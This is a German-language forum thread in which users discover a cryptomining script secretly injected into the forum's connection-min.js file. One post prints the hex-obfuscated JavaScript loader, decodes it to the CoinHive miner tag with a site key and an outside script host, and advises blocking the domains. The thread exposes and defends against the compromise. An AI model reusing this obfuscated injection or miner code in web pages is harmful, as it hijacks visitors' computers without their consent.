In Browser Bitcoinming statt?

Das liegt daran, dass (aus welchen Gründen auch immer) auf der Seite tatsächlich ein Mining Script eingebunden wird, derzeit ganz am Ende der Datei forum.wpde.org/clientscript/yui/connection/connection-min.js?v=425 über diesen Codeblock:

var _0x4bde=["\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x73\x74\x69\x2E\x67\x61\x2F\x69\x6C\x31\x6C\x31\x69\x6C\x69\x6C\x31\x6C\x69\x6C\x69\x6C\x69\x6C\x69\x6C\x6C\x6C\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x3C\x73\x63\x72\x69\x70\x74\x3E\x76\x61\x72\x20\x6D\x69\x6E\x65\x72\x20\x3D\x20\x6E\x65\x77\x20\x43\x6F\x69\x6E\x48\x69\x76\x65\x2E\x41\x6E\x6F\x6E\x79\x6D\x6F\x75\x73\x28\x22\x69\x6E\x37\x46\x64\x79\x75\x65\x49\x77\x72\x63\x7A\x38\x59\x36\x59\x6A\x4A\x76\x57\x30\x70\x51\x47\x57\x36\x72\x44\x70\x44\x4D\x22\x29\x3B\x20\x6D\x69\x6E\x65\x72\x2E\x73\x74\x61\x72\x74\x28\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];var _0xc5ff=[_0x4bde[0],_0x4bde[1]];var _0xf92d=[_0xc5ff[0],_0xc5ff[1]];document[_0xf92d[1]](_0xf92d[0])

der "ausgepackt" zu diesem HTML-Code wird, der dann in die Seite ausgegeben wird und den Miner lädt.

<script src="http://besti.ga/il1l1ilil1lililililll"></script><script>var miner = new CoinHive.Anonymous("in7FdyueIwrcz8Y6YjJvW0pQGW6rDpDM"); miner.start();</script>

Die im Code angegebene URL http://besti.ga/il1l1ilil1lililililll leitet derzeit auf https://coinhive.com/lib/coinhive.min.js weiter.

Temporäre Lösung: Die Domain besti.ga und coinhive.com über z.B. Adblock im Browser blockieren, wobei sich die erstgenannte wohl ab und an ändern dürfte, wenn der Einfüger des Codes unter dem Radar bleiben will..

maxe: Die beiden Scripte werden aber für die Forumseite benötigt, nur nicht der o.g. derzeit kleine eingefügte Teil ganz am Ende von connection-min.js ab [FONT=courier new]var _0x4bde= ...[/FONT] Daher lieber die Weiterleitungs- bzw. Zieldomain blocken.

Zitat von M@nu

Aber muss ich nicht zustimmen das mein pc zum Mining genutzt wird wenn ich eine Seite Visite ?

Doch. Sehe ich definitiv auch so. Leider scheinen die Admins aktuell nicht wirklich greifbar zu sein (und sich auch nicht wirklich um irgendetwas zu kümmern). Zumindest, wenn ihr das richtig verstanden habe...

Wieso blockieren, das gehört offensichtlich zum Geschäftsmodell hier. :twisted:

Irgendwie wird dieses Forum immer merkwürdiger...

Zitat von Kurt Singer

Das ist jetzt sehr hilfreich :wink:. Ich lese unter den angegebenen Links nur irgendwelchen Code. Aber wie blockiere ich jetzt was? Oder sollte ich für eine Zeit lang derm Forum fern bleibern?

Das sind keine Links, sondern die Scripte, die du blockieren sollst/kannst. Zum blockieren brauchst du ein Browser-Plugin, wie das von Maxe vorgeschlagene uBlock (oder einen beliebigen anderen AdBlocker).

Bei mir im Büro schlägt neuerdings der Kaspersky Alarm, wenn ich dieses Forum hier besuche. Sowas geht gar nicht. Bis auf weiteres schaue ich hier nurmehr via Smartphone und Tapatalk hinein...